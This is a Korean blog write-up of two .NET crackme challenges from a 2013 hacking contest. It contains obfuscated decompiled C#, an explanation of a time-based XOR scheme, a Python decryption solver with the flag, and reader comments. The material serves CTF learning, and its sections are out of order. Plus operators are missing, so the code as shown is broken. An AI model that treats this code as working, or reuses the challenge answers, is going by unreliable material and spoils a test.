public string h8r9gu4inheiprhgnncvjousdfgiuweg(string str)
{
StringBuilder stringBuilder = new StringBuilder();
string text = this.ldfogndkfvisgi490rjgdijgw434ref(Form1.ncfjgirerg430t34trdgdfs(str));
string[] array = text.Split(new char[]
{
' '
});
for (int i = 0; i < array.Length - 1; i )
{
stringBuilder.Append(this.kfig9jepoingndkfvndjroger(array[i], i) " ");
}
return stringBuilder.ToString();
}
private void button1_Click(object sender, EventArgs e)
{
if (this.textBox2.Text.Length > this.d8jergu394r0nnsjd94jfs.Length - this.zsawsrf6g0i98t6vllp)
{
MessageBox.Show("Length Error", "ERROR_bb");
return;
}
this.gettime();
string text = this.h8r9gu4inheiprhgnncvjousdfgiuweg(this.textBox2.Text);
this.textBox1.Text = text;
this.lfkfidngigiwhiu3yr89igorg(text);
}
private void textBox2_MouseClick(object sender, MouseEventArgs e)
{
if (this.textBox2.Text == "Input Your Plain Text")
{
this.textBox2.Text = "";
}
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1));
this.button1 = new Button();
this.panel1 = new Panel();
this.textBox2 = new TextBox();
this.label3 = new Label();
this.textBox1 = new TextBox();
this.panel2 = new Panel();
this.label1 = new Label();
this.panel1.SuspendLayout();
base.SuspendLayout();
this.button1.BackColor = Color.CornflowerBlue;
this.button1.FlatStyle = FlatStyle.Popup;
this.button1.Font = new Font("맑은 고딕", 9f, FontStyle.Bold, GraphicsUnit.Point, 129);
this.button1.ForeColor = Color.Black;
this.button1.Location = new Point(508, 69);
this.button1.Name = "button1";
this.button1.Size = new Size(75, 23);
this.button1.TabIndex = 10;
this.button1.Text = "SUBM1T";
this.button1.UseVisualStyleBackColor = false;
this.button1.Click = new EventHandler(this.button1_Click);
this.panel1.BackColor = SystemColors.ActiveCaptionText;
this.panel1.Controls.Add(this.label1);
this.panel1.Controls.Add(this.textBox2);
this.panel1.Controls.Add(this.label3);
this.panel1.Controls.Add(this.textBox1);
this.panel1.Controls.Add(this.button1);
this.panel1.Location = new Point(0, 269);
this.panel1.Name = "panel1";
this.panel1.Size = new Size(597, 99);
this.panel1.TabIndex = 11;
this.textBox2.BackColor = Color.Black;
this.textBox2.BorderStyle = BorderStyle.FixedSingle;
this.textBox2.Font = new Font("맑은 고딕", 9f, FontStyle.Bold, GraphicsUnit.Point, 129);
this.textBox2.ForeColor = SystemColors.GradientActiveCaption;
this.textBox2.Location = new Point(12, 25);
this.textBox2.Name = "textBox2";
this.textBox2.Size = new Size(491, 23);
this.textBox2.TabIndex = 17;
this.textBox2.Text = "Input Your Plain Text";
this.textBox2.MouseClick = new MouseEventHandler(this.textBox2_MouseClick);
this.label3.AutoSize = true;
this.label3.Font = new Font("맑은 고딕", 9.75f, FontStyle.Regular, GraphicsUnit.Point, 129);
this.label3.ForeColor = Color.FromArgb(192, 192, 255);
this.label3.Location = new Point(9, 51);
this.label3.Name = "label3";
this.label3.Size = new Size(112, 17);
this.label3.TabIndex = 16;
this.label3.Text = "Crypted Message";
this.textBox1.BackColor = Color.Black;
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
this.textBox1.Font = new Font("맑은 고딕", 9f, FontStyle.Bold, GraphicsUnit.Point, 129);
this.textBox1.ForeColor = SystemColors.GradientActiveCaption;
this.textBox1.Location = new Point(12, 69);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new Size(491, 23);
this.textBox1.TabIndex = 15;
this.textBox1.MouseClick = new MouseEventHandler(this.textbox1_mouseclick);
this.panel2.Location = new Point(303, 12);
this.panel2.Name = "panel2";
this.panel2.Size = new Size(281, 140);
this.panel2.TabIndex = 15;
this.panel2.MouseDoubleClick = new MouseEventHandler(this.panel_doubleclick);
this.label1.AutoSize = true;
this.label1.Font = new Font("맑은 고딕", 9.75f, FontStyle.Regular, GraphicsUnit.Point, 129);
this.label1.ForeColor = Color.FromArgb(192, 192, 255);
this.label1.Location = new Point(9, 7);
this.label1.Name = "label1";
this.label1.Size = new Size(94, 17);
this.label1.TabIndex = 18;
this.label1.Text = "Plain Message";
base.AutoScaleDimensions = new SizeF(7f, 12f);
base.AutoScaleMode = AutoScaleMode.Font;
this.BackColor = SystemColors.Control;
this.BackgroundImage = (Image)componentResourceManager.GetObject("$this.BackgroundImage");
base.ClientSize = new Size(596, 368);
base.Controls.Add(this.panel2);
base.Controls.Add(this.panel1);
this.ForeColor = SystemColors.ControlText;
base.FormBorderStyle = FormBorderStyle.FixedSingle;
base.Icon = (Icon)componentResourceManager.GetObject("$this.Icon");
base.MaximizeBox = false;
base.MinimizeBox = false;
base.Name = "Form1";
this.Text = "2013 POWER OF XX - Easy Reverse Engineering 2";
base.Load = new EventHandler(this.Form1_Load);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
base.ResumeLayout(false);
}
}

}


상당히 스크롤 압박의 코드들인데, 이상한 함수명과 변수명을 보고 많은 분들이 멘붕을 느끼셨을걸로 예상되는데,


이를 다시 함수를 분석하고 변수의 초기값까지 추적하면서 함수명을 변경한다면 쉬운 코드로 변환이 가능합니다.


분석을 해보시면 알겠지만, 이 프로그램은 시간에 영향을 받습니다. 그래서 시간이 지날때마다 암호화 결과가 바뀌게 됩니다.


그것도 참고하면서 분석하면 되겠습니다.


우선 간단하게


public void gettime()
{
this.njgcgcxdxxx6r = DateTime.Today.DayOfYear; // day of year
this.cljbyt798ygdre5 = DateTime.Now.Minute; // minute
this.zsawsrf6g0i98t6vllp = DateTime.Today.Month; // month
this.qexyg8j9u8thuhg = DateTime.Today.Day; // day
this.zfgvjnkji8y6ug9u9i = DateTime.Now.Hour; // hour

}


위 코드는 이번 문제중 한부분입니다.


위와 같이 변수가 하는 일을 추적하면서 변수와 함수명을 바꿔갑니다.


public static string ncfjgirerg430t34trdgdfs(string input)
{
int length = input.Length;
char[] array = new char[length];
for (int i = 0; i < input.Length; i )
{
array[i] = input[length - i - 1];
}
return new string(array);

}


위 함수의 경우는 그대로 복사후에 붙여 넣고(약간 수정이 필요할수도 있겟으나.) 컴파일 해보면 문자열을 뒤집는 역할을 합니다.


public string ldfogndkfvisgi490rjgdijgw434ref(string a) // 첫번째 암호화 시작
{

StringBuilder stringBuilder = new StringBuilder();
int num = this.zsawsrf6g0i98t6vllp;
char[] array = a.ToCharArray();
for (int i = 0; i < a.Length; i )
{
stringBuilder.Append((int)(this.d8jergu394r0nnsjd94jfs[i num] ^ array[i]) " ");
}
return stringBuilder.ToString();
}


위는 문자열을 암호화 시키는 함수 2개중 1개입니다.


num에는 month의 값이 저장되고, 프로그램 초기화시 생성된 인코딩 테이블에서 값을 하나씩 가져오고 사용자가 입력한 문자열 한글자씩 xor연산을 합니다.


private void button1_Click(object sender, EventArgs e) // 인코딩 버튼 클릭시 루틴
{
if (this.textBox2.Text.Length > this.d8jergu394r0nnsjd94jfs.Length - this.zsawsrf6g0i98t6vllp) // 글자수 검사 [에러 방지]
{
MessageBox.Show("Length Error", "ERROR_bb");
return;
}
this.gettime(); // 시간정보 얻어옴
string text = this.h8r9gu4inheiprhgnncvjousdfgiuweg(this.textBox2.Text); // 암호화 시작
this.textBox1.Text = text;
this.lfkfidngigiwhiu3yr89igorg(text); // 암호화된 값들을 저장
}
public string h8r9gu4inheiprhgnncvjousdfgiuweg(string str) // 암호화 시작
{
StringBuilder stringBuilder = new StringBuilder();
string text = this.ldfogndkfvisgi490rjgdijgw434ref(Form1.ncfjgirerg430t34trdgdfs(str)); // 첫번째 암호화 시작 [윗 부분에 있음]
string[] array = text.Split(new char[] // 첫번쨰 암호화로 나온 결과물을 가공시킴
{
' '
});
for (int i = 0; i < array.Length - 1; i )
{
stringBuilder.Append(this.kfig9jepoingndkfvndjroger(array[i], i) " "); // 두번째 암호화 시작
}
return stringBuilder.ToString(); // 암호화된 결과를 리턴함.
}

public int kfig9jepoingndkfvndjroger(string chr, int range) // 두번째 암호화 시작
{
int num = int.Parse(chr);
int num2 = range % 3;
int num3 = 2;
if (num2 == 0)
{
num = this.qexyg8j9u8thuhg * num3 this.cljbyt798ygdre5 * num3 - this.zfgvjnkji8y6ug9u9i * 2;

}
else
{
if (num2 == 1)
{
num = this.zsawsrf6g0i98t6vllp * 3 this.cljbyt798ygdre5 * 2 - this.zfgvjnkji8y6ug9u9i * num2;
}
else
{
if (num2 == 2)
{
num = this.njgcgcxdxxx6r - this.zsawsrf6g0i98t6vllp * (num2 * 5) - this.cljbyt798ygdre5 * num2 - this.zfgvjnkji8y6ug9u9i * (num3 4) - num2 * num3;
}
}
}
return num;

}


분석은 대략 이런 순서로 진행되게 되는데, 총 2번 암호화가 진행됩니다.


첫번째 암호화는 바로 위에서 썻으니 이번엔 두번째 암호화를 분석할 차례입니다.


num2는 현재 암호화되는 글자인덱스의 경우마다 다른 암호화를 진행합니다.

0의 경우는 변수를 간단하게 만들면 num = ((day * i) (minute * i) - (hour * 2)) 와 같습니다.


이런식으로 분석을 하게 됩니다.


그러면 이제 복호화를 해야 하는데


Plain -> enc1 -> enc2 -> Crypted Message 로 암호화가 진행된다는것을 알게되었으니 다시


Crypted Message -> enc2_decrypt -> enc1_decrypt -> Plain 순서로 복호화 할 것입니다.


일단은 위에서 언급한대로 프로그램은 시간을 사용하기때문에 시간마다 암호화결과가 바뀌게 됩니다.


그러므로 문제에 주어진 시간을 활용하도록 합니다.


minute = 44

month = 10

day = 26

dayofyear = 299

hour = 23


그리고 두번째 암호화 함수를 복호화 시킬수 있는 함수를 제작합니다. [이 풀이에선 python script로 제작합니다]


def solve1(str, range):

test = int(str)


j = range % 3

i = 2


if(j==0):

test -= ((day * i) (minute * i) - (hour * 2))

elif(j==1):

test -= ((month * 3) (minute * 2 ) - (hour * j))

elif(j == 2):

test -= ((dayofyear - (month * (j * 5)) - (minute * j) - (hour * (i 4)) - (j* i)))

return test


그리고 첫번째 암호화 함수를 복호화 시킬 수 있는 함수를 제작합니다.


def solve2(input):

encoding_table = "9pMaVs5DxiOPGe8JETXYmg3lbudro6Qk1WLKwyhfnS4Iv0ABtjUCc7RZz2NFHq"

encoding_table = "KfeROdEILJs5W6D1m4XFtH7YbwgrUConPuqQBcSxT092zljv8yMAGhpZN3akVi"

encoding_table = "8vxekVPpYlsXDAujWoJEingTGf3mCh59LROt6cdUNMb41zH7Kr0yS2BIFZqawQ"

encoding_table = "Hv8VzYa5b1FMGNODW4kwX9L3hK6SqsTtyxoE0Z7fPJIgrCAQiljBuenRcp2dUm"

encoding_table = "fgnCw4HPJRdXKIq31YNDZMS82OjA7eUxpozasVmykiQrTFLW6htGb9B0lEcvu5"

encoding_table = "jxLaZdWYngAfKGNhzTcXQU7Jy9sFbp0eRI1ECrv23PSw846oH5MBVtlDiOqumk"

encoding_table = "U0tnl9bVK4iB2LzZXy7PaCHcAI5pOsSfjgqkr1vuRTFEo8Dxmhw3QGdeJM6WYN"

encoding_table = "gWYN9w4LuPjxJl1MhOkniQy8CBUXr6THaKDctEdb0Imp32VfFZGvAS5ezqsR7o"

encoding_table = "wj3J9fL8QY2kArXKgOEzmSdqHpcMsn1ahGWxCe7yPIlTuDRb6F40oZtiUBvV5="

d = 0

array = input.split(' ')

result = ""

for i in array:

if i == "":

break;

test = int(i)

result = str(test ^ ord(encoding_table[d 10]))

result = " "

d = 1

#str1 = (test ^ )

return result


그리고 나머지 필요한 구문을 삽입한뒤, 스크립트를 완성시킵니다.



# /usr/bin/python

# power of xx _ solver

# 2013 POC - Power Of XX - Binary Easy2.net Solver

# by sweetchip.


minute = 44

month = 10

day = 26

dayofyear = 299

hour = 23


def solve1(str, range):

test = int(str)


j = range % 3

i = 2


if(j==0):

test -= ((day * i) (minute * i) - (hour * 2))

elif(j==1):

test -= ((month * 3) (minute * 2 ) - (hour * j))

elif(j == 2):

test -= ((dayofyear - (month * (j * 5)) - (minute * j) - (hour * (i 4)) - (j* i)))

return test


def solve2(input):

encoding_table = "9pMaVs5DxiOPGe8JETXYmg3lbudro6Qk1WLKwyhfnS4Iv0ABtjUCc7RZz2NFHq"

encoding_table = "KfeROdEILJs5W6D1m4XFtH7YbwgrUConPuqQBcSxT092zljv8yMAGhpZN3akVi"

encoding_table = "8vxekVPpYlsXDAujWoJEingTGf3mCh59LROt6cdUNMb41zH7Kr0yS2BIFZqawQ"

encoding_table = "Hv8VzYa5b1FMGNODW4kwX9L3hK6SqsTtyxoE0Z7fPJIgrCAQiljBuenRcp2dUm"

encoding_table = "fgnCw4HPJRdXKIq31YNDZMS82OjA7eUxpozasVmykiQrTFLW6htGb9B0lEcvu5"

encoding_table = "jxLaZdWYngAfKGNhzTcXQU7Jy9sFbp0eRI1ECrv23PSw846oH5MBVtlDiOqumk"

encoding_table = "U0tnl9bVK4iB2LzZXy7PaCHcAI5pOsSfjgqkr1vuRTFEo8Dxmhw3QGdeJM6WYN"

encoding_table = "gWYN9w4LuPjxJl1MhOkniQy8CBUXr6THaKDctEdb0Imp32VfFZGvAS5ezqsR7o"

encoding_table = "wj3J9fL8QY2kArXKgOEzmSdqHpcMsn1ahGWxCe7yPIlTuDRb6F40oZtiUBvV5="

d = 0

array = input.split(' ')

result = ""

for i in array:

if i == "":

break;

test = int(i)

result = str(test ^ ord(encoding_table[d 10]))

result = " "

d = 1

#str1 = (test ^ )

return result


chicken = "144 207 93 170 111 25 130 144 21 152 172 -3 113 164 -24 94 117 -25 173 106 77 169 119 15 135 127 9 111 123 -12 109 218 61 155 98 50 199 131 -2 168 205 75 169 164 24 139 116 95 127 113 71 102 141 -18 152 153 28 111 131 74 207 201 -21 174 155 74 138 164 -7 179 215 94 187 142 55 147 99 64 176 117 25 193 177 47 135 111 -5 108 137 -8 132 120 "

# Chicken

chicken = "210 209 22 126 188 29 212 101 24 125 145 -22 180 134 -30 162 107 18 142 210 8 185 95 -23 221 123 54 183 180 39 103 145 57 141 181 56 141 138 -25 124 133 "

# Egg

chickenarr = chicken.split(' ')


solve1_result = ""

for i in range(0, len(chickenarr)-1):

solve1_result = str(solve1(chickenarr[i], i)) " "


print solve1_result


solve2_result = solve2(solve1_result)

l_result = ""

result = solve2_result.split(" ")

for i in result:

if i == '':

break

print int(i)

l_result = chr(int(i))


print l_result[::-1]


원본 python 스크립트 : http://pastebin.com/TWHRpbKP

C# 코드 버전 : http://pastebin.com/PDNjLn7f




Flag : md5(W3_10vE_Ch1cKen_FoR3veEr)



이번 POX가 생애 처음으로 해킹대회에 문제를 출제해보는 기회가 되었습니다.


그래서 문제에 조금 서툰 부분도 있엇고, 키젠미 문제엿으므로 조금더 일찍 공개했엇어야 햇는데 늦게 공개한것이 아쉬웠습니다


특히 거의 풀뻔한 팀이 나왓지만 끝에 아쉽게도 시간이 모자라서 못푼 팀도 있었습니다.


그리고 고심끝에 결정해서 이 문제의 힌트를 받기로 하신것 같은데 힌트도 제대로 주지 못해서 죄송했던 팀도 있엇고;;


아무튼 여러모로 배울점이 많았던 대회 운영이었습니다.


POX에 참가하신 팀들과 운영진분들 그리고 POC 운영진 분들 모두 고생많으셨습니다!

신고

Comment 22

  • 2013.11.10 22:04 수정 답글

    비밀댓글입니다

    • 2013.11.11 20:48 신고 수정

      요즘은 여성분들도 해킹대회등 활동을 하시는 분들이 점점 늘어나고 있는 추세입니다.
      아마 모두 인터넷과 책을 같이 겸해서 공부하신게 아닐까 하네요 ㅎㅎ..

  • 2013.11.11 18:45 수정 답글

    비밀댓글입니다

    • 2013.11.11 20:49 신고 수정

      안녕하세요.
      해당 프로그램은 더이상 개발을 진행하지 않을 것 입니다.
      프로그램의 원본 소스코드도 더이상 가지고 있지 않으며, 시간도 없기때문에 불가능 할것같습니다.
      감사합니다.

  • 아하
    2013.11.11 22:03 신고 수정 답글

    저도 공부를 해보려고 지식인 카페 이곳저곳 찾아봤는데
    마땅히 뭘 배울수 있는 사이트가없는거같은데 ..
    혹시 시스템해킹 리버싱 등 공부하기 괜찮은 카페 알고계신곳 있으신가요??

    • 2013.11.12 00:15 신고 수정

      카페보다는 사이트와 여러 블로그에 올려진 글들을 보면서 공부하시는 것을 추천합니다.
      워게임이나 그런것을 풀어보시면서 흥미를 돋우며 공부하시는 것도 좋은 방법 중 하나입니다.

  • 2013.11.12 00:48 수정 답글

    비밀댓글입니다

    • 2013.11.21 01:12 신고 수정

      원하는 자료를 검색하면 나오는 블로그들을 통해서 공부했습니다.

      각각 블로그마다 담겨잇는게 달라서.. 그냥 여러가지 봣네요

  • 2013.11.20 21:15 수정 답글

    비밀댓글입니다

    • 2013.11.21 01:12 신고 수정

      전 네이트온을 하지 않습니다. ㅠ-ㅠ

      궁금하신 것은 방명록으로 남겨주시길 바라겠습니다.

  • 2013.11.21 17:38 수정 답글

    비밀댓글입니다

    • 2013.11.21 17:44 신고 수정

      안녕하세요.

      원래 시험과목의 문제에 대해서는 비공개가 원칙이므로 자세하게는 알려드릴 수 없는점 양해 부탁드립니다.

      우선 정확하게는 네트워크, 운영체제, 프로그래밍입니다.

      어셈블리 관련하여 문제도 등장하기도 했구요. 여기까지만 알려드릴 수 있을것 같네요.

      프로젝트 발표는 지원자의 특기를 최대한 뽐내볼 수 있는 기회라고 하셨었습니다. 필수는 아니나 권장 사항이었습니다.

      리버싱, 포렌식을 잘하면 좋겟지만 못한다고 떨어지지는 않습니다.

      해킹대회도 마찬가지로 있으면 가산점일 뿐이지, 경력이 없다고 해서 떨어지는 것은 아닙니다.

      감사합니다.

  • 2013.11.24 03:26 수정 답글

    비밀댓글입니다

    • 2013.11.24 15:23 신고 수정

      언어는 c언어는 꼭 알아두고 가셔야 합니다. 다른 언어도 알아두면 좋구요.
      리눅스도 한개만 다룰줄 알아도 충분합니다.

  • 2013.11.26 16:49 수정 답글

    비밀댓글입니다

  • 2013.12.01 14:09 수정 답글

    비밀댓글입니다

    • 2013.12.01 20:33 신고 수정

      그 문제들은 시스템 해킹 관련 문제들입니다.
      한번쯤은 쉘코드를 직접 짜보는 것도 좋긴 하지만 주로 사람들은 이미 있는것을 사용하거나 메타스플로잇에서 만들어서 사용합니다.
      가끔씩은 ctf에 따라서 쉘코드가 적절하게 필요할때 만들어서 사용하기도 합니다.
      exploit 작성 방법 같은 경우에는 직접 문제를 풀어보면서 작성법을 배우셔야 합니다. 시스템 해킹이 처음에 진입 장벽이 높으니
      문제들을 많이 풀어보시기도 하셔야 하고 삽질도 많이 필요할겁니다.

  • 2013.12.03 13:24 수정 답글

    비밀댓글입니다

    • 2013.12.03 15:40 신고 수정

      문제에 대해선 자세히 말해드릴 수는 없으나 올해 필기 시험의 경우 그렇게 어렵지는 않았습니다. BOB도 역시 배우는 입장으로 들어가는 것이기 때문에 문제들 수준은 기본 지식을 확인하는 정도라고 생각하시면 되겠습니다. [내년은 모르겟네요 ^^;]
      그리고 계속 공부하시다가 내년에 지원하시면 좋은 결과가 있을것이라고 봅니다.
      또한 학력부분에서는 제가 평가하는 입장이 아니라서 어떻게 말을 해드릴수가 없을것 같네요. 다만, 제 '개인적인'의견으로는 학력 보다는 실력이 훨씬 중요시 된다는 것은 느끼고 있습니다. 또한 bob활동은 학교 성적과 전혀 관련이 없습니다.

      위는 현재 2기 생활을 하면서 느낀것들이니 참고만 해주시기 바랍니다. 내년엔 어떻게 바뀔지 몰라서 이거다 라고 말씀드리기 어렵네요.
      감사합니다.

  • 2014.01.07 15:32 수정 답글

    비밀댓글입니다

    • 2014.01.08 03:28 신고 수정

      전 이미 연구 팀이 있고 다른 팀도 이미 고려중이라 더 이상 팀에 속하기에는 어려울것 같습니다. :D 감사합니다.


2013년 10월 5일, 온라인으로 POC의 이벤트중 하나인 여성해킹방어대회 POWER OF XX가 진행되엇습니다.


그중 저는 간단한 리버싱 문제를 출제했었는데 일반 닷넷 크랙미 수준으로 출제 되었습니다.


닷넷 프로그램의 특징은 자바와 비슷하게 거의 완벽한 코드 복구가 가능하다는 것입니다.


일반 c / c 로 컴파일된 프로그램의 경우 IDA의 HexRay도 거의 완벽하게 복구해주지만, 일반적인 경우엔 어셈블리 코드를 보면서 직접 이해해야 합니다.


하지만 닷넷 문제의 경우 .net reflector 나 ilspy 라는 프로그램을 이용하여 거의 완벽하게 복구가 가능합니다. [이유는 검색~!]


이점을 이용하게 하기 위해 문제에 간단하게 Ilspy를 다운받을 수 있는 링크를 힌트로 줬고


너무 쉽게 풀리는것을 방지하기 위해 [이문제에선 거의 쓸모가 없엇죠..] 손수 난독화를 진행했습니다 [일반 툴은 잘 안먹히더군요]


하지만 이것도 소스 코드를 조금만 살펴본다면 금방 풀수 있습니다.



문제의 목적은 암호화 되어있는 문자열이 숨겨진 프로그램 안에서 키가 만들어지는 루틴을 찾아서 분석후, 키를 얻어 문자열을 복호화 시키는 문제입니다.


POX 본선 진출자 분들은 대부분 이 문제를 해결하셨던것 같습니다.



CDC8501BE6FEC4B2D1FCC7B80DD129FA



using System;

using System.ComponentModel;

using System.Drawing;

using System.IO;

using System.Security.Cryptography;

using System.Text;

using System.Windows.Forms;

namespace POWEROFXX_easy_reversing

{

public class Form1 : Form

{

private int[] jkd9j349njw984nt0wner9g34j = new int[]

{

7,

6,

5,

8,

9,

4,

2,

3,

1,

0

};

public string odf03mfg03mn4__dsfij9834rosdf043 = "MXgLk4UD5zEOjTuYy5/7MaQzMNquAcJu6yEiLzi30Rb0lSlhr7orlyY4OtTWW7 TdAIPqsY oL/";

public int nnumbobeeerofowoooeneneee = 1;

private IContainer components;

private Button button1;

private Panel panel1;

private Label label2;

private TextBox textBox2;

private Panel panel2;

private Button button2;

private Button button3;

private Button button4;

private Button button5;

private Label label1;

public Form1()

{

this.InitializeComponent();

this.label1.BackColor = Color.Transparent;

this.jkd9j349njw984nt0wner9g34j[this.jkd9j349njw984nt0wner9g34j.Length - this.jkd9j349njw984nt0wner9g34j.Length] = 1;

this.odf03mfg03mn4__dsfij9834rosdf043 = "iVO7R3sopmA Z/CmoNdKAHIjwEJK wclV8ONGO83f0SlBfWwEYbaoVXru5zhBgy83HSPpNjb0IJOUhsUPmSC66ByUd";

this.odf03mfg03mn4__dsfij9834rosdf043 = "CJZMwRLg72IsofYYEV/I223lK2xqh11HFRzOqaZPp";

this.odf03mfg03mn4__dsfij9834rosdf043 = "C/FyWDhkRAXEccfn5v513iz Qs7WI=";

}

private void Form1_Load(object sender, EventArgs e)

{

this.panel2.BackColor = Color.Transparent;

this.jkd9j349njw984nt0wner9g34j[this.jkd9j349njw984nt0wner9g34j.Length - 2] = 7;

}

private void panel_doubleclick(object sender, MouseEventArgs e)

{

MessageBox.Show("aHR0cDovL2lsc3B5Lm5ldC8=", "__BASE64__");

}

private void button1_Click_1(object sender, EventArgs e)

{

string.Concat(new object[]

{

this.dfj4rfioksdfiop4ewjf9dsr34r()[0],

this.nnumbobeeerofowoooeneneee,

this.dfj4rfioksdfiop4ewjf9dsr34r()[4],

this.dfj4rfioksdfiop4ewjf9dsr34r()[this.dfj4rfioksdfiop4ewjf9dsr34r().Length - 1]

});

this.label1.Text = this.tpyrcde821SEA(this.odf03mfg03mn4__dsfij9834rosdf043, this.textBox2.Text);

}

public string[] dfj4rfioksdfiop4ewjf9dsr34r()

{

return new string[]

{

"3",

"E",

"I",

"G",

"A",

"4",

"B",

"E",

"P",

"0",

"6",

"G",

"a",

"7",

"o",

"5"

};

}

public string tpyrcde821SEA(string Input, string key)

{

string result;

try

{

RijndaelManaged rijndaelManaged = new RijndaelManaged();

byte[] array = Convert.FromBase64String(Input);

byte[] bytes = Encoding.ASCII.GetBytes(key.Length.ToString());

PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, bytes);

ICryptoTransform transform = rijndaelManaged.CreateDecryptor(passwordDeriveBytes.GetBytes(32), passwordDeriveBytes.GetBytes(16));

MemoryStream memoryStream = new MemoryStream(array);

CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);

byte[] array2 = new byte[array.Length];

int count = cryptoStream.Read(array2, 0, array2.Length);

memoryStream.Close();

cryptoStream.Close();

string @string = Encoding.Unicode.GetString(array2, 0, count);

result = @string;

}

catch

{

result = "Invalid k3y..";

}

return result;

}

public string tpyrcen821SEA(string Input, string key)

{

RijndaelManaged rijndaelManaged = new RijndaelManaged();

byte[] bytes = Encoding.Unicode.GetBytes(Input);

byte[] bytes2 = Encoding.ASCII.GetBytes(key.Length.ToString());

PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, bytes2);

ICryptoTransform transform = rijndaelManaged.CreateEncryptor(passwordDeriveBytes.GetBytes(32), passwordDeriveBytes.GetBytes(16));

MemoryStream memoryStream = new MemoryStream();

CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write);

cryptoStream.Write(bytes, 0, bytes.Length);

cryptoStream.FlushFinalBlock();

byte[] inArray = memoryStream.ToArray();

memoryStream.Close();

cryptoStream.Close();

return Convert.ToBase64String(inArray);

}

private void button2_Click(object sender, EventArgs e)

{

}

public string jf9j39fjd9rjngsweetfub95f()

{

this.dfj4rfioksdfiop4ewjf9dsr34r();

int num = this.jkd9j349njw984nt0wner9g34j[2];

string arg = "-" this.dfj4rfioksdfiop4ewjf9dsr34r()[14];

string result = arg num;

for (int i = 0; i < this.jkd9j349njw984nt0wner9g34j.Length; i )

{

this.label2.ForeColor = Color.FromArgb(15, 15, 15);

num >>= this.jkd9j349njw984nt0wner9g34j[i];

num = this.jkd9j349njw984nt0wner9g34j[i];

num <<= this.jkd9j349njw984nt0wner9g34j[i];

}

return result;

}

private void button3_Click(object sender, EventArgs e)

{

byte b = 49;

string[] array = this.dfj4rfioksdfiop4ewjf9dsr34r();

int arg_1E_0 = 2;

string arg_1E_1 = array[14];

char c = (char)b;

string str = arg_1E_0 arg_1E_1 c.ToString();

str = this.dfj4rfioksdfiop4ewjf9dsr34r()[1];

byte b2 = 95;

char c2 = (char)b2;

string text = c2.ToString() "!" this.jkd9j349njw984nt0wner9g34j[this.jkd9j349njw984nt0wner9g34j.Length - 1];

text = this.jf9j39fjd9rjngsweetfub95f();

this.label2.Text = str text;

int arg_8C_0 = this.jkd9j349njw984nt0wner9g34j[6];

}

private void rm(object sender, MouseEventArgs e)

{

if (this.textBox2.Text == "Input Passw0rd!")

{

this.textBox2.Text = "";

}

}

protected override void Dispose(bool disposing)

{

if (disposing && this.components != null)

{

this.components.Dispose();

}

base.Dispose(disposing);

}

private void InitializeComponent()

{

ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1));

this.button1 = new Button();

this.panel1 = new Panel();

this.label2 = new Label();

this.textBox2 = new TextBox();

this.panel2 = new Panel();

this.button2 = new Button();

this.button3 = new Button();

this.button4 = new Button();

this.button5 = new Button();

this.label1 = new Label();

this.panel1.SuspendLayout();

base.SuspendLayout();

this.button1.BackColor = Color.CornflowerBlue;

this.button1.FlatStyle = FlatStyle.Popup;

this.button1.Font = new Font("맑은 고딕", 9f, FontStyle.Bold, GraphicsUnit.Point, 129);

this.button1.ForeColor = Color.Black;

this.button1.Location = new Point(509, 28);

this.button1.Name = "button1";

this.button1.Size = new Size(75, 23);

this.button1.TabIndex = 10;

this.button1.Text = "SUBM1T";

this.button1.UseVisualStyleBackColor = false;

this.button1.Click = new EventHandler(this.button1_Click_1);

this.panel1.BackColor = SystemColors.ActiveCaptionText;

this.panel1.Controls.Add(this.label2);

this.panel1.Controls.Add(this.textBox2);

this.panel1.Controls.Add(this.button1);

this.panel1.Location = new Point(0, 305);

this.panel1.Name = "panel1";

this.panel1.Size = new Size(597, 63);

this.panel1.TabIndex = 11;

this.label2.AutoSize = true;

this.label2.Font = new Font("맑은 고딕", 9.75f, FontStyle.Regular, GraphicsUnit.Point, 129);

this.label2.ForeColor = Color.FromArgb(192, 192, 255);

this.label2.Location = new Point(10, 8);

this.label2.Name = "label2";

this.label2.Size = new Size(76, 17);

this.label2.TabIndex = 14;

this.label2.Text = "SERIAL K3Y";

this.textBox2.BackColor = Color.Black;

this.textBox2.BorderStyle = BorderStyle.FixedSingle;

this.textBox2.Font = new Font("맑은 고딕", 9f, FontStyle.Bold, GraphicsUnit.Point, 129);

this.textBox2.ForeColor = SystemColors.GradientActiveCaption;

this.textBox2.Location = new Point(12, 28);

this.textBox2.Name = "textBox2";

this.textBox2.Size = new Size(491, 23);

this.textBox2.TabIndex = 13;

this.textBox2.Text = "Input Passw0rd!";

this.textBox2.MouseClick = new MouseEventHandler(this.rm);

this.panel2.Location = new Point(303, 12);

this.panel2.Name = "panel2";

this.panel2.Size = new Size(281, 140);

this.panel2.TabIndex = 15;

this.panel2.MouseDoubleClick = new MouseEventHandler(this.panel_doubleclick);

this.button2.BackColor = SystemColors.WindowText;

this.button2.FlatStyle = FlatStyle.Flat;

this.button2.Location = new Point(1126, 358);

this.button2.Name = "button2";

this.button2.Size = new Size(10, 10);

this.button2.TabIndex = 16;

this.button2.Text = "Z2V0a2V5";

this.button2.UseVisualStyleBackColor = false;

this.button2.Click = new EventHandler(this.button2_Click);

this.button3.BackColor = SystemColors.WindowText;

this.button3.FlatStyle = FlatStyle.Flat;

this.button3.Location = new Point(891, 186);

this.button3.Name = "button3";

this.button3.Size = new Size(10, 10);

this.button3.TabIndex = 17;

this.button3.Text = "y3kt3g";

this.button3.UseVisualStyleBackColor = false;

this.button3.Click = new EventHandler(this.button3_Click);

this.button4.BackColor = SystemColors.WindowText;

this.button4.FlatStyle = FlatStyle.Flat;

this.button4.Location = new Point(810, 177);

this.button4.Name = "button4";

this.button4.Size = new Size(10, 10);

this.button4.TabIndex = 18;

this.button4.Text = "Z2V0a2V5";

this.button4.UseVisualStyleBackColor = false;

this.button5.BackColor = SystemColors.WindowText;

